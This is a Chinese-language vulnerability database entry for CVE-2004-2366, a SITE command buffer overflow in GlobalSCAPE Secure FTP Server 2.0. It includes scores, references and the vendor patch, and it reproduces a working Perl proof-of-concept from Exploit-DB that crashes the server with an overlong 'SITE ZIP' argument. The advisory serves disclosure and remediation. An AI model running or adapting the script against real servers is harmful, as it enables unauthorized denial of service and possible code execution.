CVE-2004-2366
CVSS5.0
发布时间 :2004-12-31 00:00:00
修订时间 :2008-09-05 16:43:56
NMCOE    

[原文]Buffer overflow in GlobalSCAPE Secure FTP Server 2.0 B03.11.2004.2 allows remote attackers to cause a denial of service (crash) via a SITE command with a long argument.


[CNNVD]GlobalSCAPE Secure FTP Server SITE命令远程缓冲区溢出漏洞(CNNVD-200412-851)

        
        GlobalSCAPE Secure FTP Server是一款安全加强的FTP服务程序。
        GlobalSCAPE Secure FTP Server对SITE命令参数缺少充分的边界检查,远程攻击者可以利用这个漏洞进行缓冲区溢出攻击,可使服务程序崩溃或执行任意指令。
        如提交包含超过252字节参数的SITE ZIP命令,即使FTP服务程序不支持SITE ZIP命令,也可触发缓冲区溢出,精心构建提交数据可能以进程权限在系统上执行任意指令。
        

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: NONE [对系统的机密性无影响]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2366
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2004-2366
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200412-851
(官方数据源) CNNVD

- 其它链接及资源

http://xforce.iss.net/xforce/xfdb/15511
(PATCH)  XF  secureftp-site-command-bo(15511)
http://www.securityfocus.com/bid/9904
(PATCH)  BID  9904
http://secunia.com/advisories/11159/
(VENDOR_ADVISORY)  SECUNIA  11159
http://www.securiteam.com/windowsntfocus/5KP0C20CAC.html
(VENDOR_ADVISORY)  MISC  http://www.securiteam.com/windowsntfocus/5KP0C20CAC.html
http://www.cuteftp.com/gsftps/history.asp
(UNKNOWN)  CONFIRM  http://www.cuteftp.com/gsftps/history.asp

- 漏洞信息

GlobalSCAPE Secure FTP Server SITE命令远程缓冲区溢出漏洞
中危 边界条件错误
2004-12-31 00:00:00 2005-10-20 00:00:00
远程  
        
        GlobalSCAPE Secure FTP Server是一款安全加强的FTP服务程序。
        GlobalSCAPE Secure FTP Server对SITE命令参数缺少充分的边界检查,远程攻击者可以利用这个漏洞进行缓冲区溢出攻击,可使服务程序崩溃或执行任意指令。
        如提交包含超过252字节参数的SITE ZIP命令,即使FTP服务程序不支持SITE ZIP命令,也可触发缓冲区溢出,精心构建提交数据可能以进程权限在系统上执行任意指令。
        

- 公告与补丁

        厂商补丁:
        globalSCAPE
        -----------
        Secure FTP Server version 2.0 Build 03.16.2004.1已经修正此漏洞,建议用户下载使用:
        
        http://www.cuteftp.com/gsftps/

- 漏洞信息 (23839)

GlobalSCAPE Secure FTP Server 2.0 Build 03.11.2004.2 SITE Command Remote Buffer Overflow Vulnerability (EDBID:23839)
windows dos
2004-03-17 Verified
0 storm
N/A [点击下载]
source: http://www.securityfocus.com/bid/9904/info

It has been reported that Secure FTP Server may be prone to a remote buffer overflow vulnerability that may allow attackers to execute arbitrary code on a vulnerable system in order to gain unauthorized access. An attacker may cause the buffer overflow condition to occur by sending about 252 bytes of data via a parameter of the SITE Command. Immediate consequences of an attack may result in a denial of service condition. The possibility of remote code execution has not been confirmed at the moment.

Secure FTP Server version 2.0 Build 03.11.2004.2 has been reported to prone to this issue.

e IO::Socket;

$host = "192.168.1.243";

$remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host, PeerPort => "2117");

unless ($remote) { die "cannot connect to ftp daemon on $host" }

print "connected\n";
while (<$remote>)
{
 print $_;
 if (/220 /)
 {
  last;
 }
}

$remote->autoflush(1);

my $ftp = "USER anonymous\r\n";

print $remote $ftp;
print $ftp;
sleep(1);

while (<$remote>)
{
 print $_;
 if (/331 /)
 {
  last;
 }
}

$ftp = join("", "PASS ", "a\@b.com", "\r\n");
print $remote $ftp;
print $ftp;
sleep(1);

while (<$remote>)
{
 print $_;
 if (/230 /)
 {
  last;
 }
}

$ftp = join ("", "SITE ZIP /d:", "A"x(252), "\r\n");

print $remote $ftp;
print $ftp;
sleep(1);

while (<$remote>)
{
 print $_;
 if (/250 Done/)
 {
  last;
 }
}

close $remote;		

- 漏洞信息

4332
GlobalSCAPE Secure FTP Server (gsftps) SITE Command Overflow
Input Manipulation
Loss of Integrity
Vendor Verified

- 漏洞描述

Unknown or Incomplete

- 时间线

2004-03-18 Unknow
Unknow Unknow

- 解决方案

Upgrade to version 2.0 Build 03.16.2004.1 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

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